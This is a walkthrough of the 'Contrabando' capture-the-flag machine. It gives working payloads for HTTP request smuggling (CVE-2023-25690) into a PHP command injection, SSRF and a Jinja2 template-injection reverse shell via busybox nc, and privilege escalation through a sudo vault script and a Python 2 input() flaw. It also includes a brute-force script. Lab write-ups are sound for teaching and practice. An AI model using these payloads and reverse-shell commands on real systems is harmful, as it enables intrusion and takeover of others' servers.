Contrabando
-- "Never tell me the odds"
Our company was excited to release our new product, but a recent attack has forced us to go down for maintenance. They have asked you to conduct a vulnerability assessment to help identify how the attack occurred.
Challenge
Nmap
As a first step of any enumeration, let's start with the nmap scan.
sudo nmap -sS -sC -T5 -vv <--IP Address->
From the nmap results, we see two ports to be enabled on the target system.
- Port
22- SSH - Port
80- HTTP
HTTP
For the web application, let's add a local domain to this IP Address in our /etc/hosts file.
sudo nano /etc/hosts
And all the following:
<--IP Address--> contrabando.thm
Save and close hosts file.
Now, brows to the Web application on http://contrabando.thm/
Browsing this page, only points us to the page/home.html page.
But from these web pages, we don't find anything that is worth to us to enumerate further.
FFUF
Let's use FFUF to fuzz for some files around the target system.
ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/FUZZ"
But nothing useful here.
While fuzzing for files under the /pages folder, we notice something strange, all the pages are giving out the same number of word count.
ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/page/FUZZ"
And browsing to this site gives us a unique message:
Warning: readfile(product.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 5
With this known, we tried with eliminating the common word count using -fw
ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/page/FUZZ" -fw 19
We find two new pages, index.php and gen.php
Looking at both of these two pages, they appear to be blank but, the source code contains some parts of the PHP Script.
From both the source code:
index.php:
<?php
$page = $_GET['page'];
if (isset($page)) {
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>
This files reads the page parameter from the URL and then either reads the contents of that page or redirects them to the home.html page if there is no parameter specified.
gen.php
<?php
function generateRandomPassword($length) {
$password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
return $password;
}
if(isset($_POST['length'])){
$length = $_POST['length'];
$randomPassword = generateRandomPassword($length);
echo $randomPassword;
}else{
echo "Please insert the length parameter in the URL";
}
?>
Here it generates a password of length specified by the length parameter from the URL using /dev/urandom.
These seems to be vulnerable to command injection, if un-trusted input is executed by the shell pipeline, we could run arbitrary commands.
TRACE
From the Nmap Output, we could see that it stated the HTTP request could have Risky Method TRACE.
This method is dangerous because this can be used for printing back the contents from the website that was requested (mostly used for debugging)
Meaning, we can try debugging about the two hosts that we found.
First with the / file system of the HTTP Page:
This shows that the server is running on Apache 2.4.55
And with the /page.gen.php
We can see that the Server's backend is at port 8080.
HTTP Smuggling
While searching for some exploit or Vulnerabilities in the Apache 2.4.55 of the target host, we found out that this version of Apache is Vulnerable to CVE-2023-25690
And also, found a GitHube Repository with a PoC to this CVE.
After having understood the PoC, we prepare our request to the server:
- First just send a simple request to the
/page/index.phpin Repeater.
- Now, add the following in the URL
%20HTTP/1.1%0d%0aFoo:%20baarr
This shows us that the application is vulnerable. Meaning, we can try to get a reverse shell by using the #gen-command-injectionn
- Let's create our payload:
GET /page/gen.php HTTP/1.1
Host: backend-server:8080
POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
length=1;$(echo <--Base64 Code-->|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm
Before we actually pass this, we need to generate a reverse shell payload, for that we used https://revshells.com
Encode this Payload twice to avoid any special character's being flagged.
And then add this to the payload:
GET /page/gen.php HTTP/1.1
Host: backend-server:8080
POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
length=1;$(echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFM0xqRXVOemd2TVRJek5EVWdNRDRtTVE9PQ==|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm
- Replace the header
GET /page/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0a%0d%0aPOST%20/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20130%0d%0a%0d%0alength=1;$(echo+TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFM0xqRXVOemd2TVRJek5EVWdNRDRtTVE9PQ==|base64+-d|base64+-d|bash) HTTP/1.1
Host: contrabando.thm
- Start the listener
nc -lvnp 12345
And then, send the request.
We get the reverse shell connection back
Docker
From the / directory, we can notice that this is a docker container
Let's scan the host to see what we can further enumerate into.
hostname -I
Let's import rustscan on this container and then look for the ports and services that other container and host machine's are running.
crul http://<--Atacker's IP Address-->/rustscan -o rustscan
Give it the permission to be a executable
chmod +x rustscan
Scan of any open ports
./rustscan --top -a 172.18.0.1,172.18.0.2 --accessible
Let's access the port 5000 using curl
curl -s http://172.18.0.1:5000/
From the output we understand that in port 5000 there is a web application which fetches the contents present in any web application.
So, let's try this:
curl -s -d 'website_url=file:///etc/passwd' http://172.18.0.1:5000/
GOOD!!!! This confirms SSRF to be present on the target system!!!!
Now, let's try to enumerate further by looking the process that is being run.
curl -s -d 'website_url=file:///proc/self/cmdline' http://172.18.0.1:5000/
This shows that the app.py file is was is currently hosting this application.
Let's look at it's source code.
curl -s -d 'website_url=file:///home/hansolo/app/app.py' http://172.18.0.1:5000/
Web get the app.py source code
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def display_website():
if request.method == 'POST':
website_url = request.form['website_url']
# Use pycurl to fetch the content of the website
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, website_url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
# Extract the content and convert it to a string
content = buffer.getvalue().decode('utf-8')
buffer.close()
website_content = '''
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
%s
</div>
</body>
</html>'''%content
return render_template_string(website_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=False)
The source code reveals a simple Flask application. On a POST request, it retrieves a URL from the website_url parameter, fetches its content using PycURL, and formats the response into website_content, which is passed to render_template_string.
For exploiting this vulnerability, we can make use of this blog A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example
On our attacker's machine, let's create a payload that would get us a reverse shell.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('busybox nc <--IP Address--> 11223 -e /bin/bash').read() }}
Now, fetch this file from the target machine.
curl -s -d 'website_url=http://<--Attacker's IP Address-->/template' http://172.18.0.1:5000/
And we get the shell access along the flag file!!!!
Let's upgrade the shell now
python3 -c 'import pty;pty.spawn("/bin/bash");'
Then use ctrl + Z to suspend and run the following command:
stty raw -echo; fg
Becoming the ROOOOOOTTTTT!!!!
When we look at the permissions that we have for this user, we can see the python being allowed
sudo -l
We see we are able to run /usr/bin/bash /usr/bin/vault without a password and /usr/bin/python* /opt/generator/app.py with a password as root using sudo.
#!/bin/bash
check () {
if [ ! -e "$file_to_check" ]; then
/usr/bin/echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(/usr/bin/cat "$file_to_check")
read -s -p "Enter the required input: " user_input
if [[ $content == $user_input ]]; then
/usr/bin/echo ""
/usr/bin/echo "Password matched!"
/usr/bin/cat "$file_to_print"
else
/usr/bin/echo "Password does not match!"
fi
}
file_to_check="/root/password"
file_to_print="/root/secrets"
check
So, looking at the /usr/bin/vault file, we understand that this file checks if /root/password exists and if present, it compares the contents with the input that user provides.
If the entered input by the user matches, then it will print out the /root/secrets.
We can bypass this just by using * 😂
But, this does not give us the password, infact, we can brute force for the password using this method.
import subprocess
import string
charset = string.ascii_letters + string.digits
password = ""
while True:
found = False
for char in charset:
attempt = password + char + "*"
print(f"\r[+] Password: {password+char}", end="")
proc = subprocess.Popen(
["sudo", "/usr/bin/bash", "/usr/bin/vault"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=attempt + "\n")
if "Password matched!" in stdout:
password += char
found = True
break
if not found:
break
print(f"\r[+] Final Password: {password}")
This password does not give us the root access, but, with this sudo password, we can explore the second file generator/app.py
This generator/app.py generate a random password of the length specified by the user and any specific words if they like.
import random
import string
def generate_password(length):
characters = string.ascii_letters + string.digits + string.punctuation
random.seed()
secret = input("Any words you want to add to the password? ")
password_characters = list(characters + secret)
random.shuffle(password_characters)
password = ''.join(password_characters[:length])
return password
try:
length = int(raw_input("Enter the desired length of the password: "))
except NameError:
length = int(input("Enter the desired length of the password: "))
except ValueError:
print("Invalid input. Using default length of 12.")
length = 12
password = generate_password(length)
print("Generated Password:", password)
Now, looking at the python files, we notice that we have python2 also given the permission to this file.
The problem with python2 being executed here with input()
secret = input("Any words you want to add to the password? ")
is that, the input() in python2 would consider this as a command instead of a string.
Let's take the advantage of this.
Run the application with python2 and provide it with __import__("os").system("bash") when it requests for any word to be included.
sudo /usr/bin/python2 /opt/generator/app.py
And we are the root now!!!!










































